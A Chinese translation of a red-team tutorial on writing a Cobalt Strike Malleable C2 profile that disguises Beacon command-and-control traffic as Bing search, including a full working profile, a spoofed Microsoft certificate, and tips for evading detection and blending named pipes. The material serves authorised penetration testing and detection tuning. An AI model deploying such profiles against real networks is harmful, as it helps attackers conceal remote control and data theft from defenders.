因为目标拥有你的工具集签名而陷入评估并不是一件有趣的事情。如果签名很容易被绕过,那就更不有趣了。Cobalt Strike 的 Malleable C2 是一种在命令和控制 (C2) 流量方面避免该问题的方法。Malleable C2 为操作员提供了一种根据他们的意愿塑造 Cobalt Strike 命令和控制流量的方法。例如,如果你确定目标组织允许员工使用 Pandora,则可以创建一个配置文件,使 Cobalt Strike 的 C2 流量看起来像网络上的 Pandora。或者,如果客户想要测试检测功能,你可以让你的流量看起来像一个众所周知的恶意软件工具包,如Zeus。
Raphael Mudge(@armitagehacker)之前在官方 Cobalt Strike 文档和他的博客中介绍过 Malleable C2:
-
可塑性 C2 配置文件 - GitHub
https://github.com/rsmudge/Malleable-C2-Profiles
-
可塑性命令和控制文档 - cobaltstrike.com
https://www.cobaltstrike.com/help-malleable-c2
-
Cobalt Strike 2.0 - 可塑性指挥与控制
http://blog.cobaltstrike.com/2014/07/16/malleable-command-and-control/
-
Cobalt Strike 3.6——权限提升之路
http://blog.cobaltstrike.com/2016/12/08/cobalt-strike-3-6-a-path-for-privilege-escalation/
Will Schroeder ( @harmj0y ) 也在他的文章《美丽新世界:Malleable C2》中介绍了 Malleable C2 。非常感谢 Raphael 和 Will 之前的工作!
这篇文章介绍了如何为 Cobalt Strike 创建新的 Malleable C2 配置文件,并使用 Bing 网络搜索作为示例。这篇文章的目的不是介绍 Malleable C2 提供的所有选项(这就是文档的目的!);相反,目标是提供流量选择和配置文件创建的工作流程。可以在此处找到包含 Bing 网络搜索和我的其他配置文件的 GitHub 存储库。
选择目标配置文件
在决定我们想要模拟的网站或应用程序时,请考虑您的目标环境。理想情况下,我们的 Cobalt Strike C2 流量将与目标网络上的正常流量混合。如果网络防御者最终审查了我们的流量,我们希望最大限度地提高被视为合法的可能性。
在高度针对性的测试中,这可能意味着为每个目标部门创建单独的配置文件。例如,如果我们的目标是金融机构的贷款处理部门,数字文档签名服务(如 Docusign)可能会融入其中。尽可能使用开源情报收集技术列举特定应用程序。
创建配置文件
每个配置文件包含以下元素:
-
全局选项
-
https 证书(可选)
-
http-get
-
client
-
metadata
-
server
-
output
-
http-post
-
client
-
ID
-
output
-
server
-
output
-
http-stager
每个个人资料可能看起来有很多内容需要填写,但它是易于管理的,并提供了广泛的自定义选项。
在进一步了解之前,了解 Beacon 通信的基本原理很有用。Beacon 阶段结束后,它会向服务器发送带有主机元数据的 GET 请求。这由配置文件的http-get客户端部分控制。此后,Beacon 将在指定的睡眠间隔内签到。如果团队服务器有 Beacon 的任务,它将在下一个签到请求的响应中提供这些任务。团队服务器响应由配置文件的http-get服务器部分控制。
当 Beacon 从任务中输出时,它将通过 POST 请求将数据发送回团队服务器(按照配置文件的http 服务器客户端部分所配置)。
从 Cobalt Strike 3.6 版开始,可以将 HTTP 动词从 POST 更改为 GET。Beacon 会忽略对此 POST 请求的响应(配置文件中的http-post服务器)。默认情况下,Beacon 使用 HTTP POST 请求执行上述步骤 #3 和 #4。根据您的目标环境或您正在模拟的流量,交替的 GET 和 POST 请求可能会被注意到。在这些情况下,请将http-post部分的动词设置为 GET。
流量捕获
现在我们知道了完成配置文件所需的信息,我们需要捕获合法的 Bing 流量。有两种主要的收集方法:Wireshark/tcpdump 和 Burp Suite。两者都可以使用,但各有优缺点。使用您最熟悉的方法。
Wireshark 通常比 Burp Suite 更易于使用并且可以捕获更多数据,但其过滤功能的学习曲线更陡峭。
在捕获 HTTPS 流量或评估复杂流量源时,Burp Suite 比 Wireshark/tcpdump 更易于使用。Burp 的 Repeater 工具有助于确定哪些 HTTP 标头或 cookie 会随会话而变化。要从 HTTP History 选项卡导出请求,请突出显示请求,右键单击,然后选择保存项目。请务必取消选中“Base64 请求”复选框!这将输出一个 XML 文件,其中包含 GUI 中可用的所有信息。
捕获完成后,检查文件中是否存在看起来“正常”且具有高度可自定义的标头或参数的 URI。对于 Bing Web 搜索,以下 URI 看起来不错:
以下是请求和响应:
GET /search?q=canary&qs=n&form=QBLH&sp=-1&pq=canary&sc=8-6&sk=&cvid=8148A7693CA44EFB87702930A3122933 HTTP/1.1
Host: www.bing.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.bing.com/
Cookie: DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283766828&A=1&IG=C5F7F5AD88C443A0800032D5B0392C4B; SRCHD=AF=NOFORM; SRCHUID=V=2&GUID=0A3EA7220EAF42DA9494F932DDD25D52; SRCHUSR=DOB=20161228; _SS=SID=3D34D4B7AFA76BB5299ADD4EAE746ABE&HV=1482912680&R=50&bIm=02:89:; _EDGE_S=mkt=en-us&F=1&SID=3D34D4B7AFA76BB5299ADD4EAE746ABE; _EDGE_V=1; MUID=024D7DA4A7BA6CFE12AA745DA6696DF7; MUIDB=024D7DA4A7BA6CFE12AA745DA6696DF7; SRCHHPGUSR=CW=762&CH=547&DPR=1&UTC=-300; _RwBf=s=70&o=16; WLS=TS=63618509479; ipv6=hit=1
Connection: keep-alive
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Expires: Wed, 28 Dec 2016 08:10:28 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/8.5
P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND"
Set-Cookie: DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG=B0C5A36E5E554114BCD97FC0D8413045; domain=.bing.com; path=/search
X-MSEdge-Ref: Ref A: E0954F7D860D4530B9E99E7FA8622086 Ref B: 9D5A99D88B2DBFBD59EEA19DF8121265 Ref C: Wed Dec 28 00:11:29 2016 PST
Date: Wed, 28 Dec 2016 08:11:29 GMT
d9e
....1.cX...Zms.....3..fn..P.%....c.N.w.l. <--Snipped-->
HTTPS 证书
对于我们的新配置文件,我们首先要配置 HTTPS 证书。填写 HTTPS 证书通常很简单:在浏览器中加载目标域并从合法证书中复制详细信息。不幸的是,有些网站没有 SSL 证书。在这些情况下,目标的母公司可能拥有证书,您可以从中获取详细信息。否则,就需要猜测了。
我遇到的一个怪事是,如果您在任何字段中使用标点符号,c2lint (Malleable C2 配置文件测试工具 - 稍后会详细介绍)可能会失败。如果您的证书无法正确生成,请尝试删除标点符号。
Malleable C2 还支持使用有效的 SSL 证书,方法是将密钥库放在配置文件所在的同一目录中,并配置以下选项(摘自文档):
https-certificate {
set keystore "domain.store";
set password "mypassword";
}
官方文档的使用 SSL Beacon 的有效 SSL 证书部分提供了有关如何执行此操作的分步说明。
以下是在配置文件中配置 Bing 证书的语法:
https-certificate {
set CN "www.bing.com";
set O "Microsoft Corporation";
set C "US";
set L "Redmond";
set OU "Microsoft IT";
set ST "WA";
set validity "365";
}
全局选项
可塑性 C2 配置文件可以配置许多全局选项来控制流量和 Beacon 的行为。完整列表可在官方文档中找到。至少应设置sleeptime、jitter和useragent选项。
以下是在我们的 Bing 配置文件中设置一些全局选项的语法:
set sleeptime "60000";
set jitter "20";
set useragent "Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko";
set dns_idle "8.8.4.4";
set maxdns "235";
睡眠时间设置用于配置 Beacons 默认签到的频率(以毫秒为单位)。抖动用于按指定的百分比改变签到间隔;它接受 0 - 99 的值。例如,在我们的 Bing 配置文件中,Beacons 将在 48 到 72 秒之间签到。增加签到抖动可以降低某些安全监控解决方案检测到的机会,并且通常可以使我们的流量更好地融合。
useragent配置将用于 HTTP 流量的用户代理字符串。此处提供了常用用户代理列表。如果您可以收集目标组织中的主机正在使用的实际用户代理,则应使用该代理。高级组织通常会监控其环境中是否存在不规则的用户代理字符串 - 大多数公司只使用少数合法字符串。
dns_idle选项用于向 DNS 信标发出信号,表示没有任务排队。我们可以设置任何 IP,但 Google DNS 服务器被主机广泛用于 DNS,因此我们将使用它。同样,这是针对目标 DNS 服务器进行自定义的良好选择。
maxdns配置 Cobalt Strike 上传数据时使用的最大主机名长度。默认值为 255,这可能会在某些安全设备上标记。请记住,此设置配置得越低,产生的 DNS 流量就越多。无论哪种方式,目标都会看到 DNS 流量总体激增,但在将此设置更改为较低值时请务必记住这一点。
我们没有设置两个有用的全局选项,即pipename和spawnto。pipename设置Beacon 的SMB C2 流量中使用的管道名称。如果有理由相信目标在检测到我们时会取证审查命名管道,我们将需要配置此设置。要确定哪些管道名称可能混入其中,我们可以使用 sysinternals 工具:handle.exe
sysinternals: handle.exe -a | findstr /i namedpipe
spawnto实际上是两个设置,spawnto_x86和spawnto_x64,它们会改变 Cobalt Strike 打开并注入 shellcode 的程序。换句话说:任何时候 Cobalt Strike 启动一个新的 Beacon 进程,该进程将是spawnto指定的进程。默认程序是rundll32.exe。
通过将名称与类似的进程或服务名称绑定在一起,配置pipename和spawnto设置以相互补充会很有帮助。以下是一些知名的 MSRPC 命名管道列表,可供您入门。如果您的目标很复杂,并且可能在网络中积极追踪您,那么从主机中提取命名管道列表并修改您的 Malleable C2 配置文件以使用网络上正在使用的命名管道可能是明智之举。
非常感谢 Lee Christensen ( @tifkin_ ) 提供上述命令以及他对命名管道的帮助!
HTTP获取
在我们的配置文件的http-get部分,我们需要配置 Beacon 如何与 Cobalt Strike 进行签入以及 Beacon 如何接收其任务。
我建议在阅读配置文件的其余部分之前先阅读Cobalt Strike 文档的配置文件语言和数据转换语言部分,因为这篇文章并未涵盖所有可用选项。
根据真实的请求和响应,我们可以填写 URI、标头、参数和输出格式:
http-get {
set uri "/search/";
client {
header "Host" "www.bing.com";
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG";
metadata {
base64url;
parameter "q";
}
parameter "go" "Search";
parameter "qs" "bs";
parameter "form" "QBRE";
}
server {
header "Cache-Control" "private, max-age=0";
header "Content-Type" "text/html; charset=utf-8";
header "Vary" "Accept-Encoding";
header "Server" "Microsoft-IIS/8.5";
header "Connection" "close";
output {
netbios;
prepend "<!DOCTYPE html><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:Web="http://schemas.live.com/Web/"><script type="text/javascript">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content="text/html; charset=utf-8" http-equiv="content-type" /><link href="/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE" rel="alternate" title="XML" type="text/xml" /><link href="/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE" rel="alternate" title="RSS" type="application/rss+xml" /><link href="/sa/simg/bing_p_rr_teal_min.ico" rel="shortcut icon" /><script type="text/javascript">//<![CDATA[";
append "G={ST:(si_ST?si_ST:new Date),Mkt:"en-US",RTL:false,Ver:"53",IG:"4C1158CCBAFC4896AD78ED0FF0F4A1B2",EventID:"E37FA2E804B54C71B3E275E9589590F8",MN:"SERP",V:"web",P:"SERP",DA:"CO4",SUIH:"OBJhNcrOC72Z3mr21coFQw",gpUrl:"/fd/ls/GLinkPing.aspx?" }; _G.lsUrl="/fd/ls/l?IG="+_G.IG ;curUrl="http://www.bing.com/search";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+"IG="+_G.IG+"&"+a;}return true;};//]]></script><style type="text/css">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,";
print;
}
}
}
URI 选项很简单,我们从实际请求中分配基本 URI。有趣的是,我们可以用空格分隔的 URI 列表为配置文件指定多个 URI。Cobalt Strike 将在签入时为每个主机随机分配一个 URI。http -get和http-post之间的 URI 不能重复;所有 URI 都必须是唯一的。但是,我们可以简单地更改一个字母的大小写以使 URI 唯一。我们已经在 Bing 网络搜索配置文件中完成了此操作,以使 GET 和 POST URI 唯一。
header "key" "value";标头和参数在or语法之后添加parameter "key" "value";。查看最终配置文件,您可能会注意到我们从实际请求中省略了一些标头和 URL 参数。编译后的 http-get 客户端请求大小必须小于 252 字节才能被视为稳定。我们希望挑选最重要的标头和参数,以使我们的请求与实际流量融合在一起。不幸的是,这有时意味着我们必须削减一些数据部分。
Beacon 需要在客户端部分发送给 Cobalt Strike 的关键数据是主机元数据。我们可以将元数据放在标头、参数、URI 或请求正文中。如果我们将信息放在标头、参数或 URI 中,则需要对数据进行编码。Malleable C2 提供四种数据编码类型:base64、base64url、netbios 和 netbiosu(大写)。
以下是每种编码类型的一些示例输出:
#base64
nqveOtUC+NlNAyHPVkSLMA==
#base64url
hf2D_5jHAA9ftoOe_ZY3zQ
#netbios
haklhhicanfeldpmgkefkhgjmhccgbmp
#netbiosu
HHHHGLGDJDELLEKFMDKAANJCLHIEFEMC
除了编码之外,我们还可以在信息前面添加或附加字符串。Cobalt Strike 从上到下解释命令,并在终止语句(我们指定信息的位置)上进行处理。四个终止语句是:print、header、parameter和uri-append。
例如,在本节的服务器部分,我们配置响应以使用 netbios 对 Beacon 任务进行编码,并将其插入从实际响应中提取的长 HTML 字符串中。我们使编码的任务看起来像 Bing 搜索结果中的值。http -get服务器输出必须使用print终止语句。
HTTP 发送协议
在我们的配置文件的http-post部分中,我们配置了 Beacon 如何将输出发送到 Cobalt Strike。对于 Bing 网络搜索配置文件,我们希望使流量看起来尽可能接近http-get部分。
http-post {
set uri "/Search/";
set verb "GET";
client {
header "Host" "www.bing.com";
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG";
output {
base64url;
parameter "q";
}
parameter "go" "Search";
parameter "qs" "bs";
id {
base64url;
parameter "form";
}
}
server {
header "Cache-Control" "private, max-age=0";
header "Content-Type" "text/html; charset=utf-8";
header "Vary" "Accept-Encoding";
header "Server" "Microsoft-IIS/8.5";
header "Connection" "close";
output {
netbios;
prepend "<!DOCTYPE html><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:Web="http://schemas.live.com/Web/"><script type="text/javascript">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content="text/html; charset=utf-8" http-equiv="content-type" /><link href="/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE" rel="alternate" title="XML" type="text/xml" /><link href="/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE" rel="alternate" title="RSS" type="application/rss+xml" /><link href="/sa/simg/bing_p_rr_teal_min.ico" rel="shortcut icon" /><script type="text/javascript">//<![CDATA[";
append "G={ST:(si_ST?si_ST:new Date),Mkt:"en-US",RTL:false,Ver:"53",IG:"4C1158CCBAFC4896AD78ED0FF0F4A1B2",EventID:"E37FA2E804B54C71B3E275E9589590F8",MN:"SERP",V:"web",P:"SERP",DA:"CO4",SUIH:"OBJhNcrOC72Z3mr21coFQw",gpUrl:"/fd/ls/GLinkPing.aspx?" }; _G.lsUrl="/fd/ls/l?IG="+_G.IG ;curUrl="http://www.bing.com/search";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+"IG="+_G.IG+"&"+a;}return true;};//]]></script><style type="text/css">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,";
print;
}
}
}
我们需要对http-post客户端部分进行一些关键更改。首先,我们需要通过使“搜索”以大写字母开头来使 URI 与http-get URI 区分开来。我们还将 HTTP 动词更改为 GET,而不是默认的 POST。在此部分中,我们有两条 Beacon 必须返回给 Cobalt Strike 服务器的信息:会话 ID 和任务输出。我们将 base64url编码的任务输出放在q URL 参数中,我们在此处配置了http-get以发送主机元数据。我们以表单 URL 参数的形式发送会话 ID ,它以前是一个静态值。
在服务器部分,我们镜像http-get选项以保持流量一致性。Beacon 最终将忽略此流量,但它将尽可能保持流量正常。http -post服务器输出必须使用print终止语句。
HTTP 暂存器
配置文件的最后一部分是http-stager,我们在其中配置 Cobalt Strike 在暂存过程中使用的标头。对于 Bing 网络搜索配置文件,我们将镜像我们以前的服务器标头:
http-stager {
server {
header "Cache-Control" "private, max-age=0";
header "Content-Type" "text/html; charset=utf-8";
header "Vary" "Accept-Encoding";
header "Server" "Microsoft-IIS/8.5";
header "Connection" "close";
}
}
测试和使用
制作配置文件需要反复试验。幸运的是,我们有一个工具可以让事情变得更容易:c2lint。c2lint对配置文件执行单元测试,以测试编译和 SSL 证书生成。它还会生成虚假流量,以确保请求和响应符合网络标准。
要运行c2lint,请转到 Cobalt Strike 目录并运行:
./c2lint /path/to/malleable_c2_profile.profile
另外,如果您无法确定导致c2lint失败的原因,请检查以确保所有行都以分号结尾。另一个绊脚石是使用特殊字符,如引号和分号。如果特殊字符出现在配置文件的值中,则必须对其进行转义。
如果可能,请通过安全设备或Security Onion运行 Cobalt Strike 流量,以确保您的流量被标记为目标流量。至少,您可以确保您的流量不会被标记为可疑流量,并更深入地了解蓝队将如何看待您的流量。
如果无法使用安全设备进行测试,请尝试捕获 Cobalt Strike 流量并在 Wireshark 中查看。以下是 Bing Web 搜索配置文件暂存、签入、被要求检索进程列表并发回输出的屏幕截图:
概括
Malleable C2 为测试人员提供了大量针对 Cobalt Strike 命令和控制流量的自定义选项。从模拟已知对手到躲避蓝队,Malleable C2 可以增强任何 Cobalt Strike 用户的评估。创建配置文件一开始可能很困难,但很快就会成为习惯。鉴于 Malleable C2 的强大功能以及实施自定义配置文件所需的资源相对较少,为什么不在您的评估中使用自定义配置文件呢?
推荐文章:
-
HTTPS 负载和 C2 重定向器
https://bluescreenofjeff.com/2018-04-12-https-payload-and-c2-redirectors/
-
Cobalt Strike OPSEC 简介
https://bluescreenofjeff.com/2018-01-23-cobalt-strike-opsec-profiles/
-
设计有效的隐蔽红队攻击基础设施
https://bluescreenofjeff.com/2017-12-05-designing-effective-covert-red-team-attack-infrastructure/
原文始发于微信公众号(Ots安全):如何为 Cobalt Strike 编写可塑性强的 C2 配置文件
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论